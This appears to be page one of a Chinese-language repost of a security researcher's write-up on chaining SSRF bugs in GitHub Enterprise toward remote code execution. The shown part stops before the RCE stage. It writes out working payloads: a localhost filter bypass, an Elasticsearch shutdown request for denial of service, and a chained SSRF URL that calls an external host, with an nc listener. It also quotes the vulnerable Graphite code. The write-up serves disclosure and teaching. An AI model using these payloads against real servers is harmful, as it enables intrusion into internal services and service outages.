欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

从SSRF执行链到RCE,看我如何利用GitHub企业版中的四个漏洞

来源:本站整理 作者:佚名 时间:2017-08-01 TAG: 我要投稿

在过去的几个月里,我一直都在认真准备2017年美国Black Hat黑客大会以及DEF CON 25的演讲内容,而成为一个Black Hat以及DEFCON的演讲者一直都是我人生中的一个非常重要的目标。除此之外,这也是我第一次在如此正式的场合下进行英文演讲,这绝对是一个值得回忆并且能够得瑟一辈子的事情!
在这篇文章中,我将会给大家简单介绍我的演讲内容。这里所使用的技术虽然不是什么新技术,但是这些旧的技术依然非常的强大。如果你对我的演讲感兴趣的话,可以点击【这里】获取幻灯片。
注:幻灯片中介绍了很多关于 SSRF(Server-Side Request Forgery:服务器端请求伪造) 的功能强大的新方法。
直奔主题
在这篇文章中,我将会告诉大家如何将四个漏洞串联起来并且最终在GitHub上实现了远程代码执行。值得一提的是,这份漏洞报告也荣获了GitHub第三届漏洞奖励周年评选中的最佳漏洞报告。
在我上一篇文章中,我提到了一个新的目标- GitHub Enterprise服务(GitHub企业版),并且我还介绍了如何反混淆GitHub的Ruby代码以及如何找出其中存在的SQL注入漏洞。在此之后,我发现有很多赏金猎人也开始将注意力转移到了GitHub Enterprise服务的身上,并且还找到了很多有意思的安全漏洞【参考漏洞一】【参考漏洞二】。
看到了这些WriteUp之后,我就很烦躁了,为什么我当初就没发现这些漏洞呢??因此,我自己暗下决心,我一定要找到一个高危漏洞!
漏洞描述
在我检查GitHub Enterprise服务的架构之前,我的直觉告诉我,GitHub Enterprise中还存在很多很多的内部服务。如果我可以利用这些内部服务的话,我相信我绝对可以找到很多有意思的东西。
接下来,所有的注意力我都会放在 SSRF(Server-Side Request Forgery:服务器端请求伪造) 漏洞的身上。
第一个漏洞-无害的SSRF
在寻找GitHub Enterprise漏洞的过程中,我发现了一个名叫WebHook的功能。这个功能非常有趣,当出现了特定的GIT命令时,它允许我们设置一个自定义的HTTP回调。
你可以使用下面给出的URL地址创建一个HTTP回调:

https://///settings/hooks/new
然后通过提交文件来触发回调。接下来,GitHub Enterprise将会通过一个HTTP请求来通知用户。下面给出的Payload和HTTP请求的样本:
Payload URL:

http://orange.tw/foo.php
回调请求:
POST /foo.php HTTP/1.1
Host: orange.tw
Accept: */*
User-Agent: GitHub-Hookshot/54651ac
X-GitHub-Event: ping
X-GitHub-Delivery: f4c41980-e17e-11e6-8a10-c8158631728f
content-type: application/x-www-form-urlencoded
Content-Length: 8972
payload=...
GitHub Enterprise使用了RubyGem faraday来获取外部资源,并防止用户通过Gem faraday-restrict-ip-addresses来请求内部服务。
在这里,Gem就像是一个黑名单一样,我们可以通过RFC 3986定义的稀有IP地址格式(Rare IP Address Formats)来绕过这个黑名单。在Linux系统中,"0"代表的是"localhost"。PoC:

http://0/
非常好,现在我们已经拿到了一个SSRF漏洞了。但是,我们仍然什么都做不了,这是为什么呢?
因为这个SSRF有以下几种限制:
1. 只支持POST方法;
2. 只运行HTTP和HTTPS模式;
3. 没有302重定向;
4. faraday中没有CR-LF命令注入;
5. 无法控制POST数据和HTTP头;
我们唯一能够控制的就是其中的Path部分。但值得一提的是,这个SSRF漏洞可以导致拒绝服务攻击(DoS)。
在GitHub Enterprise中,端口9200绑定了一个弹性搜索服务,在后台使用关机命令的时候,该服务并不会关心其中的POST数据到底是什么内容。因此,我们就可以随意对它的REST-ful API进行操作了!
拒绝服务攻击PoC:

http://0:9200/_shutdown/
第二个漏洞-内部Graphite中的SSRF
我们已经拿到了一个SSRF漏洞,但这个漏洞限制那么多,想要直接利用它估计是很困难的,所以接下来我打算找找看是否还有其他的内部服务是可以被我们利用的。这可是一个大工程,因为在GitHub Enterprise中还有很多的HTTP服务,而每一个服务很可能都是采用不同的编程语言实现的,例如C/C++、Go、Python以及Ruby等等。在研究了好几天之后,我发现了一个名叫Graphite的服务,该服务绑定的端口号为8000。Graphite服务是一个高度可伸缩的实时图形系统,而GitHub需要使用这个系统来给用户显示某些图形化的统计数据。
Graphite采用Python语言开发,并且它本身也是一个开源项目,你可以点击【这里】获取Graphite项目的源代码。阅读了Graphite的源代码之后,我迅速地发现了另一个SSRF。第二个SSRF比较简单,这个漏洞存在于webapps/graphite/composer/views.py文件之中:
def send_email(request):
    try:
        recipients = request.GET['to'].split(',')
        url = request.GET['url']
        proto, server, path, query, frag = urlsplit(url)
        if query: path += '?' + query
        conn = HTTPConnection(server)
        conn.request('GET',path)
        resp = conn.getresponse()
        ...
你可以看到,Graphite会接受用户输入的url地址,然后直接进行资源请求!所以,我们就可以利用第一个SSRF漏洞来触发第二个SSRF漏洞,并将它们两个漏洞组合成一个SSRF执行链。
SSRF执行链Payload:
http://0:8000/composer/send_email?
to=orange@nogg&
url=http://orange.tw:12345/foo
第二个SSRF的请求:
$ nc -vvlp 12345
...
 
GET /foo HTTP/1.1

[1] [2] [3]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载